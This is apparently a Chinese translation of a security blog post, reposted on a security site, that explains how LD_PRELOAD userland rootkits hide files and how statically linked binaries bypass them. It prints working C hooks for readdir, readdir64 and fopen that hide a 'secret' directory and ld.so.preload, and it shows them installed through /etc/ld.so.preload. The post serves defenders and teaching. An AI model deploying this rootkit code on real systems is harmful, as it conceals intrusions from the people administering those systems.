破解 LD_PRELOAD Rootkit:一招轻松绕过用户态隐藏术

admin 2025年5月23日15:35:55评论0 views字数 3243阅读10分48秒阅读模式

【翻译】Bypassing LD_PRELOAD Rootkits Is Easy 

破解 LD_PRELOAD Rootkit:一招轻松绕过用户态隐藏术

引言

在本文中,我将深入探讨一个非常有趣的话题——如何绕过 LD_PRELOAD rootkit 所使用的 hook 技术。这种方法对绝大多数 LD_PRELOAD rootkit 都非常有效。

LD_PRELOAD

LD_PRELOAD 是类 Unix 系统(如 x86_64 Linux 下的 /lib64/ld-linux-x86-64.so.2)中动态链接器(dynamic linker)使用的一个环境变量,用于在程序执行时强制优先加载指定的共享库(shared library)。

这种技术允许你在不修改程序二进制文件的情况下,“hook”标准库(如 libc)中的函数,因此被广泛应用于调试以及用户空间 rootkit 等攻击性技术中。

当 ELF 二进制文件被执行时,动态链接器会通过如过程链接表(Procedure Linkage Table,PLT)和全局偏移表(Global Offset Table,GOT)等结构解析外部函数调用。通过 LD_PRELOAD 预加载自定义库,攻击者可以覆盖如 readdir() 或 fopen() 这样的函数。

示例:

LD_PRELOAD=./rootkitresearchers.so ls

/etc/ld.so.preload

除了环境变量之外,/etc/ld.so.preload 文件同样可以用于将某个库持久性地加载到系统中的所有进程(包括 root 权限进程)。该文件的优先级高于任何环境变量,会在环境变量之前被读取。

使用 Rootkit 安装并隐藏目录

为了演示这一点,我将使用一个简单的 LD_PRELOAD rootkit,通过 hook readdirreaddir64 和 fopen 函数,来改变文件和目录列表的行为。相关代码如下所示。

完整源码

struct dirent *(*orig_readdir)(DIR *dirp);struct dirent *readdir(DIR *dirp){    if (!orig_readdir)        orig_readdir = dlsym(RTLD_NEXT, "readdir");    struct dirent *entry;    while ((entry = orig_readdir(dirp)) != NULL) {        if (strcmp(entry->d_name, HIDDEN_DIR) != 0 && strcmp(entry->d_name, HIDDEN_FILE) != 0) {            return entry;        }    }    return NULL;}

上述代码片段 hook 了 readdir 函数,该函数负责列出目录中的文件。它通过一个指针 orig_readdir 保存原始函数的地址,该地址是通过 dlsym(RTLD_NEXT, "readdir") 获取的。随后,在循环中调用原始函数以获取目录中的每一个条目,但会过滤(忽略)名称为 "secret" 或 "ld.so.preload" 的条目。因此,这些条目不会出现在调用 readdir 的程序中。当没有更多可见条目时,函数返回 NULL。

struct dirent64 *(*orig_readdir64)(DIR *dirp);struct dirent64 *readdir64(DIR *dirp){    if (!orig_readdir64)        orig_readdir64 = dlsym(RTLD_NEXT, "readdir64");    struct dirent64 *entry;    while ((entry = orig_readdir64(dirp)) != NULL) {        if (strcmp(entry->d_name, HIDDEN_DIR) != 0 && strcmp(entry->d_name, HIDDEN_FILE) != 0) {            return entry;        }    }    return NULL;}

这段代码实现了相同的逻辑,但适用于 64 位版本的 readdir64 函数。

FILE *(*orig_fopen)(const char *pathname, const char *mode);FILE *fopen(constchar *pathname, constchar *mode){    if (!orig_fopen)        orig_fopen = dlsym(RTLD_NEXT, "fopen");    if (strstr(pathname, HIDDEN_FILE) != NULL) {        errno = ENOENT;        return NULL;    }    return orig_fopen(pathname, mode);}

这个 fopen hook 通过在路径中包含如“ld.so.preload”等关键字时,返回“文件未找到”错误(ENOENT),从而隐藏对特定文件的访问。

现在我们将其编译并加载到 /etc/ld.so.preload 中。

破解 LD_PRELOAD Rootkit:一招轻松绕过用户态隐藏术

加载完成后,我们可以尝试创建一个名为 secret 的目录,并观察它是否会被 ls 隐藏。

破解 LD_PRELOAD Rootkit:一招轻松绕过用户态隐藏术
破解 LD_PRELOAD Rootkit:一招轻松绕过用户态隐藏术

如预期所示,该目录被 ls 隐藏了。

[原理] 绕过 LD_PRELOAD rootkit

这里有一个有趣的点:依赖 LD_PRELOAD 技术的 rootkit 完全依靠 Linux 动态加载器(ld-linux.so)在标准系统库(如 libc)之前“注入”其恶意库。但这种方式对所有程序都有效吗?

简短的答案是:并不是!

为什么 LD_PRELOAD 有时有效,有时无效?

如前文所述,LD_PRELOAD 是一个由 ld-linux.so 使用的环境变量,用于在加载其他库之前加载额外的库,这样就可以拦截标准库(如 libc)中的函数。换句话说,你可以用自定义版本替换系统函数,比如列出文件或打开文件的函数,这对于隐藏目录或文件非常有效。

但要实现这一点,程序必须采用动态加载,并依赖 ld-linux.so 来解析这些函数。

为什么静态链接二进制文件(static binary)会破坏这种机制?

静态链接的二进制文件是“自包含”的。它们会将所有依赖(如 libc)所需的代码直接集成到可执行文件中。因此,这类程序在运行时不会调用动态链接器,所以 LD_PRELOAD 和 /etc/ld.so.preload 会被忽略。

换句话说,LD_PRELOAD 以及 /etc/ld.so.preload 文件对于这些二进制文件根本不起作用。这意味着基于这些技术的 rootkit 对它们完全无效,几乎毫无用处。

这也是绕过此类 rootkit 最有效的方法之一。

[实战] 绕过 LD_PRELOAD rootkit

当 rootkit 被加载到 /etc/ld.so.preload 后,secret 目录会被依赖 libc 和动态加载器的命令(如 ls)隐藏。

但绕过这一点其实很简单,例如:只需编译一个静态二进制文件,比如一个简单的 getdents64.c

gcc getdents64.c -o getdents64 –static

当我们用 ldd 检查 getdents64 时,会发现它没有加载任何动态依赖库,而 ldd /bin/ls 则依赖于 libc。由于静态二进制文件不会使用动态链接器,LD_PRELOAD 会被完全忽略,rootkit 也同样无效。

破解 LD_PRELOAD Rootkit:一招轻松绕过用户态隐藏术

绕过 LD_PRELOAD rootkit 其实非常简单。

总结

LD_PRELOAD rootkit 在用户空间隐藏痕迹方面确实非常有效,尤其是由于其实现简单且比 LKM rootkit 更加稳定。然而,正如本文所展示的,它们并非无懈可击。通过使用静态二进制文件等简单技术,就可以轻松绕过 rootkit 所应用的 hook,因为这些程序并不依赖动态加载器和外部 libc。

原文始发于微信公众号(securitainment):破解 LD_PRELOAD Rootkit:一招轻松绕过用户态隐藏术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月23日15:35:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   破解 LD_PRELOAD Rootkit:一招轻松绕过用户态隐藏术https://cn-sec.com/archives/4085702.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息